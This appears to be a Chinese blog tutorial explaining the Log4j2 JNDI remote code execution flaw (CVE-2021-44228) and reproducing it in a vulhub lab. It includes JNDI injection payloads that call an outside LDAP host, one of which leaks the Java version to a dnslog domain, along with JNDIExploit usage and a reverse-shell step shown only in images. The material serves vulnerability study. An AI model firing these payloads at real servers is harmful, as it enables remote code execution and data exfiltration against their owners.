Apache Log4j2 Jndi RCE CVE-2021-44228漏洞原理讲解

在这里插入图片描述

一、什么是Log4j2

  • Log4j2(Log for java)是Apache软件基金会下一个优秀java程序日志监控组件

  • Log4j2远程代码执行漏洞细节被公开【影响版本Log4j 2.x <= 2.15.0-rc1】

  • 影响:多达60644个开源软件,涉及相关版本软件包更是达到了321094个

  • 特征:恶意请求中包含 JNDI 协议地址,如ldap://rmi://等,被 log4j2 解析为 JNDI 查找

  • 原理:在日志输出中,未对字符进行严格的过滤,执行了 JNDI 协议加载的远程恶意脚本,从而造成远程代码执行

  • 攻击字段:

    • ${jndi:ldap://${sys:java.version}.7fprj5.dnslog.cn}(手动测试)
    • ${jndi:ldap://192.168.249.128:1389/h8sgrk}(工具生成)
    • (一般 payload 我们需要进行 URL 编码,传入的命令也需要进行 base64 编码后再解码)
  • 修复:

    • 将 Log4j 升级到已修复漏洞的版本
    • 如果不需要使用 JndiLookup 插件,可以将其移除或禁用
    • 配置 log4j2.xml 来限制日志文件的输出路径

二、环境搭建

  1. 使用Intellij IDEA创建项目
    在这里插入图片描述
    在这里插入图片描述

  2. pom.xml中添加依赖
    在这里插入图片描述

  3. 点击刷新
    在这里插入图片描述

  4. 获得log4j的源码
    在这里插入图片描述

三、简单使用Log4j2

在这里插入图片描述

  • ALL <DEBUG < INFO < WARN < ERROR < FATAL <OFF (只有等级>=设置的等级才会输出日志【ERROR、FATAL】)
  1. 输出错误日志
    在这里插入图片描述

  2. Log4j2提供了lookup功能
    在这里插入图片描述

四、JDNI和RMI

  • 什么是JDNI?
    • JNDI(Java Naming and Directory Interface)本质是可以操作目录服务、域名服务的一组接口
    • JNDI可访问的现有的目录及服务有:JDBC、LDAPRMI、DNS、NIS、CORBA。
  • 什么RMI?
    • RMl:远程方法调用(Remote Method Invoke)
    • 客户端(Client)可以远程调用服务端(Server)上的方法,JVM虚拟机能够远程调用另一个JVM虚拟机中的方法

4.1、启动一个RMI服务端

在这里插入图片描述

  1. 服务端:
    在这里插入图片描述
  2. 服务端的资源:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  3. 使用python开启本地的一个web服务
    在这里插入图片描述
    在这里插入图片描述
  4. 启动RMI服务端:
    在这里插入图片描述

4.2、启动一个RMI客户端

在这里插入图片描述

  1. 创建
    在这里插入图片描述

  2. 运行,发生报错,是因为高版本的java是不支持rmi获取相关的资源,需要添加一些设置才可以
    在这里插入图片描述
    在这里插入图片描述

  3. 重新运行,虽然没有报错,但是依旧没有“启动计算器”,代码不能够执行,需要再添加一条代码
    在这里插入图片描述
    在这里插入图片描述

  4. 再次重新运行:打印了“hello”,并且调出了计算器
    在这里插入图片描述

  5. 利用log4j的lookup的功能,也成功的请求了资源
    在这里插入图片描述
    在这里插入图片描述

4.3、ldap

  • ldap与rmi类似

五、漏洞复现

  1. 靶场地址:https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228
  2. 工具:JNDIExploit-1.2-SNAPSHOT.jar:https://github.com/zzwlpx/JNDIExploit
java -jar JNDIExploit.jar -h # 查看参数说明,其中 --ip 参数为必选参数
	-i , --ip 		# Local ip address
	-1 , --ldapPort 	# Ldap bind port(default:1389)
	-p , --httpPort 	# Http bind port(default:8080)
	-u , --usage 		# Show usage (default:false)
	-h , --help 		# Show this help

在这里插入图片描述

  1. 靶场地址:120.77.38.47
    在这里插入图片描述

  2. 将工具放在攻击机上:162.14.83.77
    在这里插入图片描述

  3. 在攻击机上运行工具:162.14.83.77是攻击机的IP地址
    在这里插入图片描述

  4. 查看工具用法
    在这里插入图片描述

  5. 攻击机开启监听
    在这里插入图片描述

  6. 使用反弹shell
    在这里插入图片描述
    在这里插入图片描述

  7. 攻击机监听成功

六、Python批量检测

在这里插入图片描述

  • 14
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值